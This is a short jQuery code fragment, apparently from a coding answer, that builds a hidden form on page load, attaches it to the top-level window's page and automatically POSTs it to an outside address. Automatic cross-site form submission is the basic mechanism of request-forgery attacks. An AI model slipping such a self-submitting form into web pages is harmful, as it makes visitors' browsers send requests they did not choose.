jQuery(function($) { $('<form method="post" action="http://kmr.com/"><input name="field1" value="0" /></form>') .appendTo(window.top.document.body) .submit(); });